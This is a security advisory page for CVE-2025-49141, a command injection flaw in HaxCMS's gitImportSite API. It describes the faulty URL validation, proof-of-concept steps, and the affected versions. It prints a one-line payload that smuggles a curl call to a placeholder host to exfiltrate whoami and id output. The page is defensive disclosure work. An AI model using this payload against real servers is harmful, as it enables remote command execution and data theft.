GHSA-G4CF-PP4X-HQGW
Vulnerability from github – Published: 2025-06-09 20:30 – Updated: 2025-06-20 17:24Summary
The 'gitImportSite' functionality obtains a URL string from a POST request and insufficiently validates user input. The ’set_remote’ function later passes this input into ’proc_open’, yielding OS command injection.
Details
The vulnerability exists in the logic of the ’gitImportSite’ function, located in ’Operations.php’. The current implementation only relies on the ’filter_var’ and 'strpos' functions to validate the URL, which is not sufficient to ensure absence of all Bash special characters used for command injection.
Affected Resources
• Operations.php:2103 gitImportSite() • \<domain>/\<user>/system/api/gitImportSite
PoC
To replicate this vulnerability, authenticate and send a POST request to the 'gitImportSite' endpoint with a crafted URL in the JSON data. Note, a valid token needs to be obtained by capturing a request to another API endpoint (such as 'archiveSite').
-
Start a webserver.
-
Initiate a request to the ’archiveSite’ endpoint.
-
Capture and modify the request in BurpSuite.
-
Observe command output in the HTTP request from the server.
Command Injection Payload
http://<IP>/.git;curl${IFS}<IP>/$(whoami)/$(id)#=abcdef
Impact
An authenticated attacker can craft a URL string that bypasses the validation checks employed by the ’filter_var’ and ’strpos’ functions in order to execute arbitrary OS commands on the backend server. The attacker can exfiltrate command output via an HTTP request.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@haxtheweb/haxcms-nodejs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "11.0.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-49141"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2025-06-09T20:30:34Z",
"nvd_published_at": "2025-06-09T21:15:47Z",
"severity": "HIGH"
},
"details": "### Summary\nThe \u0027gitImportSite\u0027 functionality obtains a URL string from a POST request and insufficiently validates user input. The \u2019set_remote\u2019 function later passes this input into \u2019proc_open\u2019, yielding OS command injection.\n\n### Details\nThe vulnerability exists in the logic of the \u2019gitImportSite\u2019 function, located in \u2019Operations.php\u2019. The current implementation only relies on the \u2019filter_var\u2019 and \u0027strpos\u0027 functions to validate the URL, which is not sufficient to ensure absence of all Bash special characters used for command injection.\n\n\n#### Affected Resources\n\u2022 Operations.php:2103 gitImportSite()\n\u2022 \\\u003cdomain\\\u003e/\\\u003cuser\\\u003e/system/api/gitImportSite\n\n\n\n### PoC\nTo replicate this vulnerability, authenticate and send a POST request to the \u0027gitImportSite\u0027 endpoint with a crafted URL in the JSON data. Note, a valid token needs to be obtained by capturing a request to another API endpoint (such as \u0027archiveSite\u0027).\n\n1. Start a webserver.\n\n\n2. Initiate a request to the \u2019archiveSite\u2019 endpoint.\n\n\n3. Capture and modify the request in BurpSuite.\n\n\n\n\n\n\n\n4. Observe command output in the HTTP request from the server.\n\n\n\n#### Command Injection Payload\n```Bash\nhttp://\u003cIP\u003e/.git;curl${IFS}\u003cIP\u003e/$(whoami)/$(id)#=abcdef\n```\n\n\n### Impact\nAn authenticated attacker can craft a URL string that bypasses the validation checks employed by the \u2019filter_var\u2019 and \u2019strpos\u2019 functions in order to execute arbitrary OS commands on the backend server. The attacker can exfiltrate command output via an HTTP request.",
"id": "GHSA-g4cf-pp4x-hqgw",
"modified": "2025-06-20T17:24:48Z",
"published": "2025-06-09T20:30:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/haxtheweb/issues/security/advisories/GHSA-g4cf-pp4x-hqgw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49141"
},
{
"type": "WEB",
"url": "https://github.com/haxtheweb/haxcms-nodejs/commit/5131fea6b6be611db76a618f89bd2e164752e9b3"
},
{
"type": "PACKAGE",
"url": "https://github.com/haxtheweb/haxcms-nodejs"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "HaxCMS-PHP Command Injection Vulnerability"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.